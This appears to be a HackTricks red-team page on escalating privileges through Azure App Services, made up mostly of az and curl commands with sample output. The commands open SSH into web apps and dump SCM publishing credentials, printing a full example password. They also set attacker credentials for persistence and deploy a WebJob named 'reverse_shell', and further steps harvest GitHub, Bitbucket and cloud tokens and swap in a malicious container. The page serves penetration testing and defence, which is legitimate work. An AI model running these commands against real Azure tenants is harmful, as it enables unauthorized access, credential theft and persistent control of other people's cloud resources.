Az - App Services Privesc

Reading time: 10 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

App Services

For more information about Azure App services check:

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

These permissions allow to get a SSH shell inside a web app. They also allow to debug the application.

  • SSH in single command:
bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • Create tunnel and then connect to SSH:
bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • Debug the application:
    1. Install the Azure extension in VScode.
    2. Login in the extension with the Azure account.
    3. List all the App services inside the subscription.
    4. Select the App service you want to debug, right click and select "Start Debugging".
    5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission Microsoft.Web/sites/config/write to do so.

Obtaining SCM Credentials & Enabling Basic Authentication

To obtain the SCM credentials, you can use the following commands and permissions:

  • The permission Microsoft.Web/sites/publishxml/action allows to call:
bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
    "SQLServerDBConnectionString": "",
    "controlPanelLink": "https://portal.azure.com",
    "databases": null,
    "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
    "hostingProviderForumLink": "",
    "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "mySQLDBConnectionString": "",
    "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
    "publishMethod": "MSDeploy",
    "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
    "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
    "webSystem": "WebSites"
  },
  {
    "SQLServerDBConnectionString": "",
    "controlPanelLink": "https://portal.azure.com",
    "databases": null,
    "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
    "ftpPassiveMode": "True",
    "hostingProviderForumLink": "",
    "mySQLDBConnectionString": "",
    "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
    "publishMethod": "FTP",
    "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
    "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
    "webSystem": "WebSites"
  },
  {
    "SQLServerDBConnectionString": "",
    "controlPanelLink": "https://portal.azure.com",
    "databases": null,
    "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
    "hostingProviderForumLink": "",
    "mySQLDBConnectionString": "",
    "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
    "publishMethod": "ZipDeploy",
    "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
    "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
    "webSystem": "WebSites"
  }
]

Note how the username is always the same (except in FTP which ads the name of the app at the beginning) but the password is the same for all of them.

Moreover, the SCM URL is <app-name>.scm.azurewebsites.net.

  • The permission Microsoft.Web/sites/config/list/action allows to call:
bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
  "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
  "kind": null,
  "location": "Canada Central",
  "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
  "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
  "publishingPasswordHash": null,
  "publishingPasswordHashSalt": null,
  "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
  "resourceGroup": "carlos_rg_3170",
  "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
  "type": "Microsoft.Web/sites/publishingcredentials"
}

Note how the credentials are the same as in the previous command.

  • Another option would be to set you own creds and use them:
bash
az webapp deployment user set \
    --user-name hacktricks \
    --password 'W34kP@ssw0rd123!'

Then, you can use this credentials to access the SCM and FTP platforms. This is also a great way to maintain persistence.

Remember that to access the SCM platform from the web you need to access to <SCM-URL>/BasicAuth.

warning

Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.

  • If you see that those credentials are REDACTED, it's because you need to enable the SCM basic authentication option and for that you need the second permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
bash
# Enable basic authentication for SCM
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }'

# Enable basic authentication for FTP
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }'

Publish code using SCM credentials

Just having valid SCM credentials it's possible to publish code to the App service. This can be done using the following command.

For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any changes you wish and then zip it running: zip -r app.zip ..

Then you can publish the code in a web app with the following command:

bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials

The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:

  • Read Webjobs logs:
bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
  --user '<username>:<password>' -v
  • Read Webjobs source code:
bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
  --user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
  --user '<username>:<password>'
  • Create continuous Webjob:
bash
# Using Azure permissions
az rest \
  --method put \
  --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
  --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
  --body "@/Users/username/Downloads/rev.js" \
  --resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
  "<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
  -H 'Content-Disposition: attachment; filename=rev.js' \
  --data-binary "@/Users/carlospolop/Downloads/rev.js" \
  --user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

These permissions allow to assign a managed identity to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and escalate privileges to them.

bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

This permission allows to list the connection strings and the appsettings of the App service which might contain sensitive information like database credentials.

bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

Read Configured Third Party Credentials

Running the following command it's possible to read the third party credentials configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.

bash
az rest --method GET \
  --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.

Here you have some command examples to check the tokens:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
     -H "Accept: application/vnd.github.v3+json" \
     https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     --data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://graph.microsoft.com/v1.0/me/drive/root/children

Update App Code from the source

  • If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can update the code of the App service by compromising the source code in the repository.
  • If the app is configured using a remote git repository (with username and password), it's possible to get the URL and basic auth credentials to clone and push changes with:
    • Using the permission Microsoft.Web/sites/sourcecontrols/read: az webapp deployment source show --name <app-name> --resource-group <res-group>
    • Using the permission Microsoft.Web/sites/config/list/action:
      • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
      • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • If the app is configured to use a local git repository, it's possible to clone the repository and push changes to it:
    • Using the permission Microsoft.Web/sites/sourcecontrols/read: You can get the URL of the git repo with az webapp deployment source show --name <app-name> --resource-group <res-group>, but it's going to be the same as the the SCM URL of the app with the path /<app-name>.git (e.g. https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git).
    • To get the SCM credential you need the permission:
      • Microsoft.Web/sites/publishxml/action: Then run az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.
      • Microsoft.Web/sites/config/list/action: Then run az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>

warning

Note that having the permission Microsoft.Web/sites/config/list/action and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.

warning

Note that having the permissions below it's also possible to execute an arbitrary container even if the webapp was configured differently.

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

This is the set of permissions that allows to modify the container used by a webapp. An attacker could abuse it to make a webapp execute a malicious container.

bash
az webapp config container set \
    --name <app-name> \
    --resource-group <res-group> \
    --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks